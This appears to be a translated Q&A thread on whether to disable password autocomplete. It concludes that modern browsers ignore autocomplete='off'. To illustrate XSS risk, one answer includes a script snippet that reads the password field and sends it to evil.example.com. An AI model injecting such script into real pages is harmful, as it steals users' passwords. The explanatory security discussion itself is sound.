Jim*_*son 5 security passwords standards autocomplete
这里有很多关于如何防止密码表单元素自动完成的回复。我的问题是我们应该吗?
据英国政府称;强制密码重置(我们经常被客户要求做的事情)描述了安全方面的净损失,并且强烈不鼓励这样做。
根据Mozilla 的说法;强制关闭密码自动完成也意味着安全方面的净损失。UK .gov 网站没有提及这种特殊做法。
// 请引用您的来源。
更新: 如果您想在浏览器中尝试这个,我的博客有一个概念证明。
允许密码自动完成的典型风险是您网站上的任何 XSS 缺陷都将允许攻击者获取密码。这是因为浏览器会自动完成密码字段的值,所以它会在 DOM 中可用。
<script>
new Image().src = "//evil.example.com/?password=" + escape(document.getElementById('password').value);
</script>
Run Code Online (Sandbox Code Playgroud)
但是,如果攻击者可以在他们的 XSS 攻击中自己注入密码字段,那么他们无论如何都可以注入启用了自动完成功能的密码字段,无论您的真实密码字段的自动完成设置如何。但是,传统上,该属性首先会阻止保存密码,因此无法在任何攻击中自动完成。
根据您的Mozilla 链接,浏览器现在忽略autocomplete="off":
- 如果站点为表单设置了 autocomplete="off",并且表单包含用户名和密码输入字段,那么浏览器仍会提供记住此登录名,如果用户同意,浏览器将在下次访问时自动填充这些字段用户访问此页面。
- 如果站点为用户名和密码输入字段设置了 autocomplete="off",那么浏览器仍会提供记住此登录信息,如果用户同意,浏览器将在用户下次访问此页面时自动填充这些字段。
这是 Firefox(自版本 38)、Google Chrome(自 34)和 Internet Explorer(自版本 11)中的行为。
因此,您的问题的答案是“它没有任何区别”。此外,浏览器有时会在完成登录凭据之前提示,并且密码管理器(例如 Lastpass)可以设置为不自动完成字段,而无需用户选择首先使用哪个登录。一些漏洞扫描器(因此渗透测试者依赖这些)可能会引发低风险问题,即在密码字段上启用自动完成。如果是这样,您应该能够自信地将它们指向 Mozilla 链接的方向。但是,需要注意的一件事是,如果您正在获得 PCI 合规性,您可能仍需要对此进行补救。请参阅我的博客文章以获得更深入的分析。